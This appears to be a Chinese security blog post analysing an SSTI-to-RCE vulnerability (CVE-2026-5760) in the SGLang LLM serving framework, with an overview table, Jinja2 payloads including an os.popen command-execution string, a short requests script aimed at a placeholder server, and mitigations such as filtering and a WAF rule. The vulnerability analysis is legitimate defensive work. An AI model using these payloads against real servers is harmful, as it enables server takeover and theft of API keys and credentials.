【技术深度】SGLang LLM服务框架远程代码执行漏洞(CVE-2026-5760):Jinja2 SSTI引爆AI基础设施

2026年05月01日 19:06 | ️ 漏洞分析 | AI安全

SGLang 是一个被广泛使用的大语言模型(LLM)服务框架,为 ChatGPT、Kimi、Claude 等AI应用提供推理服务。2026年4月,该框架被披露存在远程代码执行漏洞(CVE-2026-5760),CVSS评分高达9.8分。攻击者可通过构造恶意Jinja2模板注入(SSTI)攻击,在托管SGLang的服务器上执行任意命令,彻底控制AI推理服务。本文进行深度分析。

漏洞概述

属性详情
CVE编号CVE-2026-5760
产品SGLang LLM Serving Framework
漏洞类型Jinja2 SSTI(服务器端模板注入)→ RCE
CVSS评分9.8 / 10(满分级高危)
影响版本SGLang < 0.4.2
利用条件可向模板引擎传递用户输入(未做过滤)

技术原理

Server-Side Template Injection (SSTI) 是一种将用户输入直接嵌入模板引擎导致代码执行的漏洞。SGLang 在处理用户传入的提示词(prompt)时,会将用户输入传递给 Jinja2 模板引擎进行渲染。由于未对用户输入做充分的转义或过滤,攻击者可以在提示词中嵌入 Jinja2 模板语法,触发任意代码执行。

攻击示例

# 恶意输入触发SSTI
malicious_prompt = "{{ cycler.__init__.__globals__['os'].popen('id').read() }}"

# 完整攻击
import requests
payload = {"prompt": "{{ request.__class__.__mro__[1].__subclasses__() }}"}
resp = requests.post("https://your-sglang-server.com/generate", json=payload)
print(resp.text)

成功利用后,攻击者可以:在服务器上执行任意系统命令、读取环境变量(包含API密钥和数据库密码)、安装后门、横向移动到内网其他系统。

️ 修复与防御

# 1. 立即升级(推荐)
pip install sglang==0.4.2

# 2. 临时缓解:输入过滤
def sanitize_prompt(prompt):
    for pattern in ['{{', '}}', '{%', '%}']:
        prompt = prompt.replace(pattern, '')
    return prompt

# 3. WAF拦截{{模板语法
# if ($request_body ~ "\{\{.*\}\}") { return 403; }

# 4. 排查已有攻击痕迹
grep "{{" /var/log/sglang/access.log | head -20

⚠️ 安全影响

  • AI推理服务被完全控制:攻击者可操控AI输出结果,植入钓鱼内容
  • 数据泄露:读取服务配置中的API密钥、数据库凭证
  • 供应链攻击:控制AI服务后,可作为跳板攻击下游应用
  • 服务中断:攻击者可能导致服务不可用

参考链接

免责声明:本文仅供安全研究人员和企业安全团队参考,严禁用于未授权测试。


原文链接:https://shibaolong.com/%e3%80%90%e6%8a%80%e6%9c%af%e6%b7%b1%e5%ba%a6%e3%80%91sglang-llm%e6%9c%8d%e5%8a%a1%e6%a1%86%e6%9e%b6%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9ecve-2026-5760%ef%bc%9ajinj-2/
更多安全技术文章请访问 月梦沉冰的安全博客

posted @ 2026-05-02 04:00  梦中的雪莲花  阅读(14)  评论(0)    收藏  举报